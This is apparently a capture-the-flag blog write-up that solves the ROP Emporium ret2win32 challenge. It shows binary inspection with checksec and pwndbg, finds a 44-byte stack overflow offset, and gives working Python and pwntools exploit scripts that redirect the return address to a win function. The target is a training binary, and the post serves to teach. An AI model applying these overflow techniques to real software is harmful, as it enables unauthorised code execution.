← writing

ctf · March 22, 2026 · 4 min read

A First Return-Oriented Exploit

#ctf#linux

Ret2win is usually where people start with binary exploitation in CTF. A binary contains a function that never gets called during normal execution, and your job is to hijack the flow to reach it through a buffer overflow.

I’ll solve the ret2win32 challenge from ROP Emporium with native tools first, and only bring in pwntools at the end.

The binary can be downloaded directly from the site:

Terminal window
wget https://ropemporium.com/binary/ret2win32.zip
unzip ret2win32.zip

Analyzing the Binary

First thing I do is look at what the binary actually is.

Terminal window
file ret2win32
ret2win32: ELF 32-bit LSB executable, Intel i386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=e1596c11f85b3ed0881193fe40783e1da685b851, not stripped

32-bit, not stripped: symbols are present, which is perfect for getting started (development symbols will be visible to tools like gdb).

Terminal window
checksec --file=ret2win32
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No

No canary, no PIE. NX is active but we don’t need to worry about it: we’re not injecting shellcode, just redirecting to an existing function. Addresses are fixed at every execution.

Let’s run the binary to see its behavior:

Terminal window
./ret2win32
ret2win by ROP Emporium
x86
For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!
What could possibly go wrong?
You there, may I have your input please? And don't worry about null bytes, we're using read()!
>

The binary announces itself that it’s trying to fit 56 bytes into a 32-byte buffer. We already know we can overflow it.

Identifying the Target Function

From here on I’ll be using pwndbg, which sits on top of gdb and adds the things I want during exploitation: syntax highlighting, a readable stack view, and a bunch of small quality-of-life commands. Project link here.

Let’s open pwndbg and list the functions:

Terminal window
pwndbg ret2win32
ret2win-x86-20260323

The ret2win function is there, at address 0x0804862c. Let’s disassemble it to confirm what it does:

Terminal window
pwndbg> disas ret2win
ret2win-x86-20260323

It calls system() with a string argument. Let’s check what that is:

ret2win-x86-20260323

That’s where we want execution to land.

Identifying the Vulnerability

Let’s disassemble pwnme to understand the buffer:

Terminal window
pwndbg> disas pwnme
ret2win-x86-20260323

The buffer is at [ebp-0x28], which is 40 bytes below EBP. read() accepts up to 0x38 = 56 bytes. We can therefore write well beyond the buffer.

Calculating the Offset

Generate a pattern with cyclic from pwndbg:

Terminal window
pwndbg> cyclic 100
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
pwndbg>
Terminal window
pwndbg> run <<< $(echo "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa")

The program crashes. Let’s look at EIP:

ret2win-x86-20260323
Terminal window
pwndbg> info registers eip
eip 0x6161616c 0x6161616c

Calculate the offset:

Terminal window
cyclic -l 0x6161616c
pwndbg> cyclic -l 0x6161616c
Finding cyclic pattern of 4 bytes: b'laaa' (hex: 0x6c616161)
Found at offset 44

The offset is 44 bytes. This is consistent with the stack layout: 40 bytes of buffer (0x28) + 4 bytes for the saved EBP = 44 before reaching the return address.

Let’s confirm with a quick test:

Terminal window
python3 -c "import sys; sys.stdout.buffer.write(b'A'*44 + b'B'*4)" | gdb -q ret2win32 -ex 'run' -ex 'info registers eip' -ex quit
ret2win-x86-20260323

EIP is 0x42424242, our Bs. The offset is correct. We’re precisely overwriting the address of the next instruction the program will execute (stored in EIP for x86 programs). We can now replace BBBB with the actual memory address of our next instruction: the ret2win function.

Building the Exploit

We have everything we need:

  • Offset: 44 bytes
  • Address of ret2win(): 0x0804862c

In x86, little-endian means 0x0804862c is written as \x2c\x86\x04\x08 in our payload. struct.pack handles this automatically.

import sys
import struct
offset = 44
ret2win_addr = 0x0804862c
payload = b'A' * offset
payload += struct.pack('<I', ret2win_addr)
sys.stdout.buffer.write(payload)

Run it:

Terminal window
python3 exploit.py | ./ret2win32
ret2win-x86-20260323

The flag is printed. The segfault afterward is normal: ret2win() finishes and tries to return to an invalid address. To clean that up, we could add the address of exit() after ret2win in the payload, but for a CTF this is sufficient.

pwntools Version

Once we understand the mechanics, pwntools makes the writing cleaner:

from pwn import process, ELF, p32
p = process('./ret2win32')
elf = ELF('./ret2win32')
offset = 44
# ret2win() address retrieved dynamically
ret2win_addr = elf.symbols['ret2win']
payload = b'A' * offset
payload += p32(ret2win_addr)
p.sendline(payload)
p.interactive()
ret2win-x86-20260323

p32() handles little-endian, p.interactive() keeps stdin open. Same logic, just less boilerplate.

Wrapping up

This challenge comes down to three conditions lining up: no canary so we can overwrite EIP, no PIE so addresses stay fixed, and a useful function already sitting in the binary. I built the exploit with struct.pack first on purpose, because that’s what forces you to actually deal with little-endian, the payload layout, and where those 44 bytes come from. pwntools is worth reaching for once you already get the mechanics. p32() and p.interactive() save you the boilerplate, and the day a canary or PIE shows up, understanding the raw version is what lets you adjust.